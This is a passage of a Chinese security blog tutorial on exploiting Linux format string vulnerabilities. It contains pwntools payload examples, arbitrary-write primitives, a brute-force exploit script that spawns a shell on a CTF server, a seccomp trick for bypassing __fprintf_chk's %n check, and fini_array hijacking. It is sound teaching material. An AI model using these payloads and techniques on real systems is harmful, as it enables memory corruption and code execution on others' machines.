# 输出: b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(6, {0x8: 0x55d15d2004a0}, badbytes=b'\n')
print(payload)
# 输出: b'%1184c%14$lln%49c%15$hhn%6963c%16$hn%81c%17$hhn%8c%18$hhnaaaabaa\x08\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00'

context.clear(arch='i386')
payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
print(payload)
# 输出: b'%322419390c%5$na\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
print(payload)
# 输出: b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
print(payload)
# 输出: b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
print(payload)
# 输出: b'c%3$naaa\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
print(payload)
# 输出: b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'

payload = fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True)
print(payload)
# 输出: b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\x00cccc=@@\x00cccc?@@\x00cccc<@@\x00ccccK@@\x00ccccJ@@\x00ccccH@@\x00'

payload = fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True)
print(payload)
# 输出: b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\x00ccccI@@\x00ccccK@@\x00ccccJ@@\x00'

非栈上格式化字符串

“非栈上格式化字符串”指的是：你可控的格式串内容不在栈帧里，而是在堆 / .bss / 全局变量等地方。典型代码：

1
2
3
4
5
6
char name[0x100];       // 在 .bss 段

void vuln() {
    read(0, name, 0x100);
    printf(name);       // name 作为 format，但 name 不在栈上
}

或者：

1
2
3
char *buf = malloc(0x100);  // 堆上
read(0, buf, 0x100);
printf(buf);                // 堆上的格式串

此时调用 printf 时的“参数区”（那些可能被当成 %n 目标指针、%s 的指针的地方）仍然在栈上；但你控制的数据在 .bss / heap，不在参数区。

任意地址写原语

当存在地址泄露的时候，我们可以可以知道往哪个地址写什么值就可以实现程序执行流劫持到 get shell。因此此时我们只需要构造一个任意地址写的原语即可。

由于格式化字符串在堆上，我们不能直接在栈上布置要写入的地址，因此需要借助栈上的 ebp 链进行构造。

我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语：

1
2
3
4
def arbitrary_offset_write(offset, value):
    assert (stack_addr & 0xFFFF) + offset < (1 << 16) and value < (1 << 16)
    p.sendlineafter('f5b: ', '%{}c%37$hn'.format((stack_addr + offset) & 0xFFFF))
    p.sendlineafter('f5b: ', '%{}c%85$hn'.format(value))

提示

内核在为新进程搭建用户栈（把 argc/argv/envp/auxv 都摆上去）之前，会调用一个架构相关的钩子来随机减小当前的“栈顶指针”：

  • 在 fs/binfmt_elf.c::create_elf_tables() 里，明确写着：

    “我们想对初始栈做点 shuffle（打乱）”…
    随即执行 p = arch_align_stack(p);，也就是在真正往栈上压 argv/envp/auxv 之前先做对齐/随机化。

  • 在 x86 的实现里，arch/x86/kernel/process.c 给出具体随机规则：

    1
    2
    3
    4
    5
    6
    unsigned long arch_align_stack(unsigned long sp)
    {
        if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
            sp -= get_random_int() % 8192;  // 随机减去 0..8191
        return sp & ~0xf;                   // 再向下 16 字节对齐
    }

    也就是说，先随机减去最多 8KB，再对齐到 16 字节边界，这一步直接决定了初始用户栈整体的随机位置。

这一步让**argv / envp / 环境字符串在栈上的绝对地址**每次执行都不同，并且低 4 比特也会随之变化。

而 glibc 的启动汇编（sysdeps/x86_64/start.S）做了两件关键小事（注意顺序）：

1
2
3
4
5
6
7
8
9
10
11
/* argv starts just at the current stack top. */
mov %rsp, %rdx           // 这里把“对齐前”的 %rsp 作为 argv 传下去

/* Align the stack to a 16 byte boundary to follow the ABI. */
and $~15, %rsp           // 把栈指针往下挫到 16B 边界

/* Push garbage ... then push stack_end */
pushq %rax
pushq %rsp
...
call *__libc_start_main@GOTPCREL(%rip)
  1. 先把当前 RSP 记为 argv（传给 __libc_start_main 的第二个参数）；
  2. 再把 RSP 向下与 16 字节对齐，并压入两个值（占用 16 字节）。

总之栈地址的最低 2 字节也是在随机变化的，因此如果不泄露栈地址，仅凭部分覆盖 rbp 的话这一步需要爆破。

由于我们有了栈上相对地址写原语，因此可以进一步构造任意地址写原语：

1
2
3
4
5
def arbitrary_address_write(address, value):
    assert address < (1 << 32) and value < (1 << 16)
    arbitrary_offset_write(0x30 * 4, address & 0xFFFF)
    arbitrary_offset_write((0x30 * 4 + 2) & 0xFFFF, address >> 16)
    p.sendlineafter('f5b: ', '%{}c%48$hn'.format(value & 0xFFFF))

有了任意地址读写后就考虑如何劫持程序执行流程。

无地址泄露绕过

当由于某些原因，格式化字符串漏洞无法泄露地址（格式化字符串结果不输出到 stdout 或者格式化字符串一次性离线执行），此时即使我们拥有任意地址写的原语也无法有效劫持程序执行流。

部分覆盖返回地址

2019 xman format 为例，同样是格式化字符串。

1
2
3
4
5
6
7
8
9
void __cdecl sub_8048651()
{
  char *buf; // [esp+Ch] [ebp-Ch]

  puts("...");
  buf = (char *)malloc(0x100u);
  read(0, buf, 0x37u);
  call_vuln(buf);
}

但与上一题不同的是这次的格式化字符串是离线操作，不能泄露地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __cdecl vuln(char *buf)
{
  char *v1; // eax
  const char *format; // [esp+Ch] [ebp-Ch]

  puts("...");
  v1 = strtok(buf, "|");
  printf(v1);
  while ( 1 )
  {
    format = strtok(0, "|");
    if ( !format )
      break;
    printf(format);
  }
}

另外还有一个后门函数。

1
2
3
4
int backdoor()
{
  return system("/bin/sh");
}

由于不能泄露地址，因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

start = lambda: remote("node4.buuoj.cn", 25559)  # process([elf.path])

while True:
    global p
    try:
        p = start()
        # gdb.attach(p, "b *0x080485F6\nb *0x8048606")
        # pause()
        payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
        p.sendlineafter('...', payload)
        sleep(1)
        p.sendline('cat flag')
        p.recvline_contains('flag', timeout=1)
        p.interactive()
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()

%*[n]c 利用栈上残留地址

例如：

1
[f"%11$hn", f"%*11$c%{0x8 & 0xffff}c%7$hn",f"%*14$c%{OFFSET}c%11$n"]

在 printf 里，%c 平常只输出一个字符；若加字段宽度（width），例如 %10c，它会在字符前面补空格，使总输出恰好 10 个字符（9 个空格 + 1 个字符）。

%*c 里的 * 表示“字段宽度由一个 int 实参给出”：

  • 从你提供的那个 int 里取出一个宽度 W，
  • （右对齐时）先补空格、再输出 1 个字符，
  • 这一轮总输出字节数 = W（当 W≥1；若 W≤1，总是输出 1 个字节）。

例如 printf("%*c", 10, 'A') 等价于 printf("%10c", 'A')。

其中 * 还可以还可以用位置参数把“宽度”和“要打印的那个字符”分别从第 m、第 n 个实参拿：*m$ / %n$（一旦用了 $，整条格式串里所有需要实参的位置都要用 $ 风格，不能和非 $ 混用）。

因此我们可以通过栈上残留的数据控制 %c 输出字符的数量，从而可以在不泄露地址的情况下控制 %n 写入的数据为正确的地址。

次数限制绕过

修改循环变量和边界

如果是保存在栈上的循环变量或者边界（并且通过 rbp 定位），则可以通过格式化字符串修改让循环变量等错位导致无限次数。

同时多次修改

glibc 的 vfprintf 有两条处理路径：

  • 前半段快路径（非位置参数模式）：只要还没遇到任何 $，就边解析边执行，此时碰到的不带 $ 的 %n 会立刻写。

    vfprintf-internal.c 的“快路径”在解析宽度/精度/修饰符后，会把真正的转换处理内联到 vfprintf-process-arg.c 中执行——这里就包含了 %n 的写回逻辑：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    LABEL (form_number):
      if ((mode_flags & PRINTF_FORTIFY) != 0)
        {
          if (! readonly_format)
            {
              extern int __readonly_area (const void *, size_t)
                attribute_hidden;
              readonly_format
                = __readonly_area (format, ((STR_LEN (format) + 1)
                                            * sizeof (CHAR_T)));
            }
          if (readonly_format < 0)
            __libc_fatal ("*** %n in writable segment detected ***\n");
        }
      /* Answer the count of characters written.  */
      void *ptrptr = process_arg_pointer ();
      unsigned int written = Xprintf_buffer_done (buf);
      if (is_longlong)
        *(long long int *) ptrptr = written;
      else if (is_long_num)
        *(long int *) ptrptr = written;
      else if (is_char)
        *(char *) ptrptr = written;
      else if (!is_short)
        *(int *) ptrptr = written;
      else
        *(short int *) ptrptr = written;
      break;

    %n 分支先做 FORTIFY 检查，然后取出指针实参，再把“到目前为止已输出的字节数”写回去（Xprintf_buffer_done(buf)）。这一步发生在当前转换被处理的当下。

    也就是说，在没遇到 $ 之前，如果格式串中出现了不带 $ 的 %n，它会当场生效。

  • 一旦在后面遇到 $（如 %m$n 或 *m$），glibc 切到慢路径，且从尚未处理的那个转换开始往后执行，因此后面的带 $ 的 %n$ 会随后才执行并写回那一刻的“已输出的字符数”。

    在“快路径”里，一旦发现任何位置参数语法（如下），会立即跳转到 do_positional：

    • 宽度是 *m$：/* The width comes from a positional parameter. */ goto do_positional;（width_asterics 分支）。
    • 精度是 *m$：同样 goto do_positional;（precision 分支）。
    • 开头看起来像常量宽度，后面跟了 $（其实是 n$ 的“位置参数号”）：也会 goto do_positional;。

    切进 do_positional 后，printf_positional(...) 会：

    • 从“还没处理的地方”开始（形参里传入了 lead_str_end 和已经处理了多少个说明符的计数 nspecs_done），二次扫描剩余格式串，把每个说明符解析进 specs[]。这意味着此前已经在快路径完成的那些说明符不会再重跑。
    • 计算本次需要的参数总数 nargs，给所有需要参数的位置（包含 *m$ 的宽度/精度参数）定类型（例如宽度/精度一律 int），然后按照位置次序把所有参数一次性从 va_list 取出来，存入 args_value[]。
    • 最后再按格式串的先后顺序处理这些说明符（同样复用 vfprintf-process-arg.c），这时带 $ 的 %n 就会在这里被执行、写回。

同一条格式串里，不带 $ 的 %n 先写，而带 $ 的 %n 后写。利用这个特性我们可以使用一个格式化字符串实现两次前后修改的效果。

防护绕过

fprintf_chk 绕过

fprintf_chk 执行 %n 会报错,检测逻辑（glibc2.23）。

1
2
3
4
5
6
7
8
9
LABEL(form_number) : if (s->_flags2 & _IO_FLAGS2_FORTIFY) {                                     \
    if (!readonly_format) {                                                                     \
        extern int __readonly_area(const void *, size_t)                                        \
                attribute_hidden;                                                               \
        readonly_format = __readonly_area(format, ((STR_LEN(format) + 1) * sizeof(CHAR_T)));    \
    }                                                                                           \
    if (readonly_format < 0)                                                                    \
        __libc_fatal("*** %n in writable segment detected ***\n");                              \
}

__readonly_area 会通过 fopen 打开 /proc/self/maps 来判断 format 是否是只读段。也就是说只有 format 的内存只读的时候才能有 %n ，从而避免了通过修改 format 实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __readonly_area(const char *ptr, size_t size) {
    const void *ptr_end = ptr + size;

    FILE *fp = fopen("/proc/self/maps", "rce");
    if (fp == NULL) {
        /* It is the system administrator's choice to not have /proc
   available to this process (e.g., because it runs in a chroot
   environment.  Don't fail in this case.  */
        if (errno == ENOENT
            /* The kernel has a bug in that a process is denied access
       to the /proc filesystem if it is set[ug]id.  There has
       been no willingness to change this in the kernel so
       far.  */
            || errno == EACCES)
            return 1;
        return -1;
    }

    /* We need no locking.  */
    __fsetlocking(fp, FSETLOCKING_BYCALLER);

    char *line = NULL;
    size_t linelen = 0;

    while (!feof_unlocked(fp)) {
        if (_IO_getdelim(&line, &linelen, '\n', fp) <= 0)
            break;

        char *p;
        uintptr_t from = strtoul(line, &p, 16);

        if (p == line || *p++ != '-')
            break;

        char *q;
        uintptr_t to = strtoul(p, &q, 16);

        if (q == p || *q++ != ' ')
            break;

        if (from < (uintptr_t) ptr_end && to > (uintptr_t) ptr) {
            /* Found an entry that at least partially covers the area.  */
            if (*q++ != 'r' || *q++ != '-')
                break;

            if (from <= (uintptr_t) ptr && to >= (uintptr_t) ptr_end) {
                size = 0;
                break;
            } else if (from <= (uintptr_t) ptr)
                size -= to - (uintptr_t) ptr;
            else if (to >= (uintptr_t) ptr_end)
                size -= (uintptr_t) ptr_end - from;
            else
                size -= to - from;

            if (!size)
                break;
        }
    }

    fclose(fp);
    free(line);

    /* If the whole area between ptr and ptr_end is covered by read-only
     VMAs, return 1.  Otherwise return -1.  */
    return size == 0 ? 1 : -1;
}

结构体 __IO_FILE 利用 _fileno 存储该文件的文件描述符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_IO_FILE * _IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot, int read_write, int is32not64) {
    int fdesc;
#ifdef _LIBC
    if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
        fdesc = open_not_cancel (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
    else
        fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
    fdesc = open (filename, posix_mode, prot);
#endif
    if (fdesc < 0)
        return NULL;
    fp->_fileno = fdesc;
    _IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
    if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS)) == (_IO_IS_APPENDING | _IO_NO_READS)) {
        _IO_off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
        if (new_pos == _IO_pos_BAD && errno != ESPIPE) {
          close_not_cancel (fdesc);
          return NULL;
      }
    }
    _IO_link_in ((struct _IO_FILE_plus *) fp);
    return fp;
}
libc_hidden_def (_IO_file_open)

如果控制 seccomp 让 open 函数返回 0 就会使 __readonly_area 程序从标志输入中读取数据进行判断,此时只需要输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm 即可绕过 %n 检测。

例题：2019 中国技能大赛 pwn2

附件下载链接

edit 函数可以编辑 rule 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 edit()
{
  int v1; // [rsp+0h] [rbp-18h] BYREF
  int v2; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  puts("1.modify the rule.");
  puts("2.modify the chunk.");
  puts("input yout choice: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("input the size");
    v2 = 0;
    __isoc99_scanf("%d", &v2);
    if ( (unsigned int)(v2 - 1) <= 0xDF )
    {
      puts("input your content");
      read(0, rule, v2);
    }
  }
  else if ( v1 == 2 )
  {
    puts("It's no use.");
  }
  return __readfsqword(0x28u) ^ v3;
}

set 功能可以把 rule 设应用到沙箱。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 set()
{
  __int16 v1; // [rsp+0h] [rbp-28h] BYREF
  void *v2; // [rsp+8h] [rbp-20h]
  unsigned __int64 v3; // [rsp+18h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  v1 = 11;
  v2 = rule;
  prctl(22, 2LL, &v1);
  return __readfsqword(0x28u) ^ v3;
}

add 功能有 __fprintf_chk 的格式化字符串漏洞，并且如果 random_num 的值为 0x30 则可以泄露基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
unsigned __int64 leak_libc()
{
  int v0; // eax
  int v1; // ebp
  _BYTE v3[1288]; // [rsp+0h] [rbp-528h] BYREF
  unsigned __int64 v4; // [rsp+508h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  memset(v3, 0, 0x500uLL);
  v0 = open("/proc/self/maps", 0x80000);
  if ( !v0 )
    exit(0);
  v1 = v0;
  read(v0, v3, 0x500uLL);
  write(1, v3, 0x500uLL);
  close(v1);
  puts("\n");
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 add()
{
  int v1; // [rsp+4h] [rbp-114h] BYREF
  char src[4]; // [rsp+8h] [rbp-110h] BYREF
  int v3; // [rsp+Ch] [rbp-10Ch]
  __int64 v4; // [rsp+100h] [rbp-18h]
  unsigned __int64 v5; // [rsp+108h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  puts("input the size");
  __isoc99_scanf("%d", &v1);
  global_size = v1;
  if ( v1 <= 0 )
  {
    puts("invalid size");
  }
  else
  {
    malloc_node = calloc(v1, 1uLL);
    puts("input your content: ");
    __read_chk(0LL, (__int64)src, v1, 240LL);
    memcpy(malloc_node, src, v1);
    __fprintf_chk(stderr, 1LL, src);
    __printf_chk(1LL, "The random_num+110 is : %d\n", random_num);
    if ( random_num == 0x30 )
      leak_libc();
  }
  return __readfsqword(0x28u) ^ v4;
}

另外 edit 被 patch 过，在函数开头会向栈中 push 全局变量 random_num 的地址，不难想到 random_num 可以被格式化字符串漏洞修改成 0x30 。

1
2
3
4
5
6
.text:0000000000400DCC push    offset random_num
.text:0000000000400DD1 nop
.text:0000000000400DD2 nop
.text:0000000000400DD3 nop
.text:0000000000400DD4 nop
.text:0000000000400DD5 nop

首先编写一个沙箱规则使得系统调用 open 在打开 /proc/self/maps 时会返回 0 。

我们可以通过 open 的第一个参数最低字节是否为 \x7c 来判断打开的是不是 /proc/self/maps 。

另外注意沙箱规则中的 ERRNO 是系统调用返回的错误码，这个与直接终止进程的 KILL 是不同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

利用 seccomp-tools 生成规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -   
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0010
 0004: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0010
 0005: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0009
 0006: 0x20 0x00 0x00 0x00000010  A = filename # open(filename, flags, mode)
 0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
 0008: 0x15 0x01 0x00 0x0000007c  if (A == 124) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

在调用 __fprintf_chk 时 random_num 位于第 6 个参数，而格式化字符串位于第 2 个参数，因此构造格式化字符串 %16p%16p%16p%ln 可以输出 0x30 个字符且 %ln 恰好对应 random_num 。这样就可以将 random_num 修改为 0x30 实现 libc 基址泄露。另外注意由于沙箱规则使得 open 打开 /proc/self/maps 时会返回 0 ，因此需要在调用 __fprintf_chk 时输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm 绕过__fprintf_chk 的检查。

后续按照同样的方法修改 free@got 为 system 函数地址完成 getshell 。

fini_array 不可写绕过

1
2
3
4
5
6
7
8
9
if (l->l_info[DT_FINI_ARRAY] != NULL) {
  ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
  //
  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
  while (i-- > 0)
    ((fini_t) array[i]) ();
    //可以劫持
    //先调用array[i],再调用array[i-1]
}

调用的汇编代码如下(ubuntu18.04).

1
2
3
0x7ff6e56accff <_dl_fini+447>    lea    r15, [rcx + rdx*8]
;...
0x7ff6e56acd10 <_dl_fini+464>    call   qword ptr [r15]

rdx 固定为 0 ，rcx 来自下面的代码片段。

1
2
3
4
5
0x7ff6e56accda <_dl_fini+410>    mov    r15, qword ptr [rax + 8]      <_DYNAMIC+88>
0x7ff6e56accde <_dl_fini+414>    mov    rax, qword ptr [r13 + 0x120]  <_DYNAMIC+80>
0x7ff6e56acce5 <_dl_fini+421>    mov    rcx, qword ptr [r13]
0x7ff6e56acce9 <_dl_fini+425>    mov    rax, qword ptr [rax + 8]
0x7ff6e56acced <_dl_fini+429>    add    rcx, r15                      <__do_global_dtors_aux_fini_array_entry>

r13 的值为一个指针，该指针在 printf 执行的栈上存在，可以控制 [r13] 为 target_ptr - fini_array_addr 从而劫持 fini_array 。

  • Title: linux 格式化字符串利用
  • Author: sky123
  • Created at : 2024-11-08 03:13:03
  • Updated at : 2025-11-19 01:09:21
  • Link: https://skyi23.github.io/2024/11/08/linux-format-string-exploit/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
linux 格式化字符串利用
  1. 基础知识
    1. 常见格式化字符串函数
      1. 标准/POSIX printf
        1. 窄字符（<stdio.h>）
        2. 宽字符（<wchar.h>）
      2. 日志类函数
        1. 系统日志（<syslog.h>）
        2. GNU error 家族（<error.h>）
        3. BSD 风格错误输出（<err.h>）
    2. 格式化字符串语法
      1. 转换说明符
      2. 标志（flags）
      3. 宽度与精度
      4. 长度修饰（length）
      5. glibc 常见扩展（非标准）
    3. 格式化字符串内存结构
      1. 变参接口
        1. 32位
        2. 64位
      2. va_list 接口
  2. 泄露内存
    1. 泄露栈变量内存
      1. 泄露栈变量的值
      2. 泄露栈变量对应对应地址的内容
    2. 泄露任意地址内存
      1. 地址在格式串前面
      2. 地址在格式串后面
  3. 覆盖内存
    1. 原理分析
      1. 写入位置
      2. 输出字符总数
      3. 写入数值上限
      4. 长度修饰
      5. 多个 %n 计数
    2. 栈上格式化字符串
      1. 手动构造 payload
      2. pwntools 生成 payload
    3. 非栈上格式化字符串
      1. 任意地址写原语
      2. 无地址泄露绕过
        1. 部分覆盖返回地址
        2. %*[n]c 利用栈上残留地址
      3. 次数限制绕过
        1. 修改循环变量和边界
        2. 同时多次修改
    4. 防护绕过
      1. fprintf_chk 绕过
        1. 例题：2019 中国技能大赛 pwn2
      2. fini_array 不可写绕过